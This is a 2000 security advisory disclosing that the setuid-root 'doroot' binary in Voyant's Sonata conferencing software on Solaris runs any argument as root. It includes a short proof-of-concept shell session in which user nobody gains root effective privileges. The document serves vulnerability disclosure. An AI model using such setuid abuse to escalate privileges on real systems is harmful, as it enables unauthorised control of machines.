Advisory ID: 12182000-02

CVE CAN: None currently assigned.

Title: Sonata doroot command vulnerability.

Class: Design Error

Remotely Exploitable: no

Locally Exploitable: Yes

Vulnerability Description:

The setuid binary doroot does exactly what it says. It executes its command line argument as root. This is really silly and I dont know why it would need to exist.

Vulnerable Packages/Systems: Sonata v3.x on Solaris 2.x.

Vendor notified on: 11/30/2000

Solution/Vendor Information/Workaround:

The vendor has told us in so many words that the security of the conferencing system is up to the customer. This will make it pretty difficult to make modifications to our system since it is production and we can't have any downtime. I would contact Voyant anyhow for a solution. I can not test the affects of removing the setuid bit on our systems until later this week.

Credits:

        Larry W. Cashdollar
        http://vapid.betteros.org

Technical Description - Exploit/Concept Code:

$ cd /opt/TK/tk4.1/library/demos
$ id
uid=60001(nobody) gid=60001(nobody)
$ ./doroot id
uid=60001(nobody) gid=60001(nobody) euid=0(root) $ ls -l doroot
- -rwsr-xr-x 1 root other 6224 Mar 12 1999 doroot

References:

        Sonata product page.
        http://www.voyanttech.com/products/sonata.html

        Vapid Labs.
        http://vapid.betteros.org
        Email: Larry W. Cashdollar <lwc@vapid.betteros.org>

DISCLAIMER:

The contents of this advisory are copyright (c) 2000 Larry W. Cashdollar and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Ver 2.4 11/30/2000
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